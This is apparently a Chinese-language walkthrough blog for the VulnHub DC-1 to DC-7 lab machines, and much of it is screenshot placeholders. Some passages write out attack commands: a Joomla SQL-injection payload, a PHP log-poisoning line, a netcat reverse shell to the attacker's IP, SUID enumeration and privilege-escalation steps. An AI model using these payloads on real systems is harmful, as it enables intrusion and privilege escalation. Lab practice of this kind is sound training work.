vulhub DC

DC-1

探测

进行内网扫描,确定靶机

1
nmap -sP 10.0.2.0/24

image-20231130211954529

找到靶机的IP:10.0.2.7

扫描端口。查看存在哪些开放的端口,方便确定攻击向量

image-20231130212146562

开放列表

  • 22/tcp ssh
  • 80/tcp http
  • 111/tcp rpcbind
  • 45400/tcp unknown

发现漏洞

之后访问80端口的页面看看有没有可以攻击的地方。

image-20231130212347564

只有一个登录界面,其实看到这个页面可以想到弱口令,越权访问(通过创建新账户、更改密码)但是试了一下好像不行。然后扫一下目录看看有没有后台啥的,也没扫到。

之后使用Metasploit看看这个网站有没有什么漏洞,看看网站指纹

image-20231130212935695

他的CMS版本为Drupal 7,搜一下有啥漏洞

image-20231130213100602

试了一下1可以用,设置目标主机地址,执行POC:

image-20231130213926932

成功拿到shell

获得控制权

image-20231130214011761

但是是用户权限,不是root权限.利用ls命令查看到有flag1.txt

image-20231130214111634

提示我们看看配置文件

通过我们千辛万苦寻找找到一个配置的php文件,cat命令看看

image-20231130214524744

然后一进去很瞩目的flag2和数据库的账号和密码,还给我们说是mysql数据库

image-20231130214556063

得到如下信息

  • username=dbuser
  • password=R0ck3t
  • databaseName=drupaldb
  • database Driver=mysql
  • drupal_hash_salt = ‘X8gdX7OdYRiBnlHoj0ukhtZ7eO4EDrvMkhN21SWZocs’

看到给了一个盐,感觉后面需要解密

得到了数据库的账号密码,就进去看看呗, 看到这个数据库里有个users表,表头有啥

image-20231130215936482

看看有什么user

image-20231130220128601

然后查看pass

image-20231130220355904

搜索系统中有没有加密的sh

image-20231130220518362

果然有一个,然后通过这个shell,生成一个我们自己的一个hash,把他替换到数据库里

image-20231130221406266

image-20231130221542970

通过账号密码在页面登录,看到flag3

image-20231130221919728

同时在/home目录下还有flag4

image-20231130222346346

提权

尝试suid提权

常用的suid查询

1
2
3
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

image-20231130222929117

发现find可以执行,使用exec执行命令看看能不能利用

image-20231130223111803

看来是可以的,使用执行/bin/sh,得到一个新的root权限的shell

image-20231130223821820

成功提权,查看最后的flag

image-20231130223849575

DC-2

探测

image-20231201111356793

但是发现访问不了,而且自动跳转到了dc-2这个域名下,所以我们直接改hosts文件,将这个域名直接指向他的IP就行

image-20231201111427389

image-20231201111613807

看看他的网站指纹

image-20231201111708462

进入到首页看到第一个flag

image-20231201111730840

之后扫描一下目录,看看有没有敏感文件或者是后台

image-20231201112438696

果然扫到一个后台:

image-20231201140230798

由于是wordpress,所以直接使用wpscan工具,进行用户名的枚举

image-20231201142334449

image-20231201142427623

得到的三个用户名存入users.txt中

之后通过cewl爬取一个密码的字典方便之后的爆破

image-20231201142804256

得到了用户名,密码的字典,接下来就可以开始爆破了。 还是使用wpscan进行爆破。扫描出来两个账户

image-20231201143032818

image-20231201113238997

1
2
jerry adipiscing
tom parturient

登录jerry的账户,看到有个flag2,提示我们wordpress直接攻击不现实了,所以考虑其他办法。

image-20231201113357916

考虑到之前有一个端口还开放着,而且这个端口号有点奇怪且22端口没开,维护人员如何维护,所以可能是ssh的端口,通过ssh连接上去, 发现密码不对,不是wordpress的密码,用另外一个用户tom

image-20231201143335160

成功进入shell

image-20231201143425964

并且发现有flag3,但是通过cat 显示没有找到这个命令。通过echo查看PATH路径,应该是没有加入bin

image-20231201143547285

尝试添加/usr/bin和/bin/ ,对tom用户是只读的,更改不了

image-20231201143639713

发现这是一个rbash,一个受限shell

看到这篇文章可以看看如何绕过:

最后试了一下,可以使用vi绕过,可以使用cd等命令了

image-20231201145623407

image-20231201145631158

image-20231201145653823

查看环境变量发现以及可以更改PATH了

1
export -p

image-20231201145812799

写入这两个路径,就可以使用所有命令了

image-20231201145831111

image-20231201145857279

首先查找suid文件,看看能不能进行提权

image-20231201150154834

看看sudo可以执行啥,但是tom,不能执行,按照flag3的提示,还得su到jerry

image-20231201150322841

通过jerry可以看到可以执行git 而且是nopasswd

image-20231201150353981

使用git提权

image-20231201150525781

成功拿下管理员权限

image-20231201150542298

进入root目录拿到最后的flag

image-20231201150613490

DC-3

进行IP地址收集

image-20231202235905951

进行端口扫描

只打开了一个80端口,看来想ssh都不行,另外想办法咯

image-20231202235950305

发现漏洞

提示只有这一个flag

image-20231203000042892

对目录进行扫描,底下的资源还是很丰富的,但是有用的只有这个后台

image-20231203001030514

看看网站指纹,他的版本号,方便找漏洞

image-20231203001558242

看了以下metasploit上的漏洞库,有一个正好是3.7.0的,但是用不了,另辟蹊径。这个漏洞是利用SQL注入,那就顺着这个思路注入一下

image-20231203002712415

按照这个漏洞,网上的payload为,确实可以回显

1
?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

image-20231203002900619

利用漏洞

那就利用这个注入点进行sql注入

image-20231203003230732

成功拿到数据库

image-20231203003244000

拿到数据库中的表

image-20231203003318986

拿到这个表中的字段

image-20231203003449132

image-20231203003547797

脱库

image-20231203003756003

image-20231203003817667

1
2
3
4
5
+--------+----------+--------------------------------------------------------------+
| name | username | password |
+--------+----------+--------------------------------------------------------------+
| admin | admin | $2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu |
+--------+----------+--------------------------------------------------------------+

一个hash,利用john暴力破解,得到密码

image-20231203004202277

进入拿到管理员权限进入后台

翻了一下,有一个php文件,可以利用一下

image-20231203004339331

写入代码,创建一个连接打开shell进程。

image-20231203004511641

攻击机进行监听

image-20231203004622656

有个很尴尬的情况就是他有两个模板,所以都试试里面的index.php看看哪个是使用的就行

image-20231203004636165

写入反弹shell代码,得到一个交互式程序

image-20231203004657689

翻了半天好像没有特别好的利用点,所以直接使用系统漏洞试试

image-20231203004912002

查找这个版本有什么漏洞

image-20231203005007932

后面试了试,这个39772.txt可以用,查看他的使用方法

image-20231203005642840

从远程下载利用工具

image-20231203005713062

执行exp,成功getshell

image-20231203005735136

拿到flag

image-20231203005752980

DC-4

常规的扫描

image-20231203141903912

image-20231203141931230

image-20231203142002561

image-20231203142458373

没发现啥能用的,只有一个登陆页面,只能进行爆破,不然就是sql注入。拿到账号密码登录进去

image-20231203142705718

一个系统工具的页面,可以执行三个命令。

image-20231203142752285

image-20231203142805748

抓包看看,肯定能改东西

image-20231203142919324

执行以下whoami,是可以正常返回的,所以我们反弹一个shell

image-20231203143053031

image-20231203144327305

写一个交互界面

image-20231203144350336

查看一下系统版本

image-20231203144924103

看了一下系统漏洞很少,基本不能用

看看suid提权呢,可以使用exim4

image-20231203151009501

找一下漏洞

image-20231203151627481

把脚本上传到服务器

image-20231203150851560

在靶机上下载这个脚本

image-20231203150929754

给执行权限,然后执行,成功getshell

image-20231203150942111

另外一个方法,在jim用户目录下有个备份的密码

image-20231203144631792

写入本地上面使用hydra爆破

image-20231203144731293

image-20231203151159971

成功拿到密码

image-20231203151810164

登录上去看看

image-20231203152435849

发现有个邮件cat看看

image-20231203152508578

image-20231203152556361

得到了charles的密码,切换到charles用户看看

他也不是root用户,所以看看他的sudo权限有啥,发现一个nopasswd,应该就是用这个了

image-20231203152801408

然后使用tee提权,创建一个hack账户,然后su到hack,提权成功

image-20231203152959268

image-20231203153016904

DC-5

信息收集

image-20231204121430132

image-20231204121443958

1
2
3
4
开放的端口:
80
111
36778

进行目录的扫描

image-20231204121626352

也没有什么敏感的文件路径

指纹收集

image-20231204121508838

寻找漏洞

进入80端口的网页,在contact找到一个交互的页面,看看能不能利用一下,随便提交一个东西上去,url也没什么动静

image-20231204121556035

注意到之前进行目录扫描时,有一个footer.php,同时在thankyou这个页面的源码中,并没有引用这个footer.php

image-20231204085217585

所以可能是一个文件包含

现在需要爆破一下包含的变量名称

image-20231204121807323

得到变量名之后进行发包查看结果

image-20231204121838105

由于之前进行网站指纹的收集时,看到使用的是nginx,知道nginx在收到错误请求时会将错误信息写到日志当中去,现在就看看这个错误日志的位置在哪。我们知道nginx默认的安装位置为/etc/nginx/nginx.conf

发包之后看到错误日志的位置

image-20231204121924946

所以我们先上传一个php的语句执行我们想执行的内容,然后访问包含这个日志文件的地址,就执行了我们自己的php脚本

e.g. 我们希望执行ls,则php语句为,加入到file之后

1
<?php system("ls") ?>

image-20231204123538467

包含那个错误日志文件,成功执行

image-20231204122253663

接下来我们准备反弹shell

1
nc -lvvp 6767

本机开启监听

写入我们的执行函数

1
<?php system("nc 10.0.2.15 6767 -e /bin/bash") ?>

image-20231204123638618

访问error.log,成功连接靶机。通过命令显示交互命令行

image-20231204130304084

查看suid

1
find / -perm -u=s -type f 2>/dev/null

使用这个漏洞

image-20231204130407263

查找存在的漏洞

image-20231204130439729

image-20231204130532389

但是好像在靶机上面直接运行这个脚本会有问题,所以把脚本中的文件给拆解在宿主上面编译再上传靶机,运行即可

DC-6

信息收集

扫描网段的IP

image-20231207094222187

扫描其下开放的端口

image-20231207094244043

访问它的80端口,看看有啥。但是自动跳转到wordy域名下

image-20231207094310301

那就修改本机的host映射

image-20231207094335465

成功访问进去,是一个wordpress页面

image-20231207094440045

进行目录扫描,查看下面有哪些敏感地址或者后台地址

image-20231207094603729

使用wpscan得到拥有的用户名,存在一个文件当中,方便之后的爆破

image-20231207094728289

image-20231207101314475

根据作者的提示,获得密码字典

image-20231207101400470

使用wpscan进行爆破

image-20231206084429793

进入后台之后发现使用了Activity monitor插件

image-20231206085514081

漏洞利用

搜索存在的漏洞

image-20231206084540564

将给的html文件复制到当前目录下,修改对应的url和需要执行的反弹shell命令

image-20231206084635459

开启本地的监听

image-20231206084710390

image-20231206084758879

getshell

弹出交互式命令行

image-20231206084737107

搜索敏感文件,找到一个thingstodo文件中有一个账号和密码

image-20231206084847025

使用ssh连接上去

image-20231206084919541

查看他的sudo权限,有一个不需要密码的提权命令

image-20231206085030949

这个文件的所有者是jens,所以得到的权限只是jens的,那就继续找有没有可以利用的提权程序

image-20231206085114792

image-20231206085139034

再查看这个用户的权限

image-20231206085209294

nmap可以插入脚本,并且使用管理员权限来执行。然后输入一个交互的命令,获得root权限

image-20231206085353140

image-20231206085425883

image-20231206085448155

DC-7

image-20231223002657474

image-20231223003122195

image-20231223003215831

image-20231223003200137

image-20231223003327322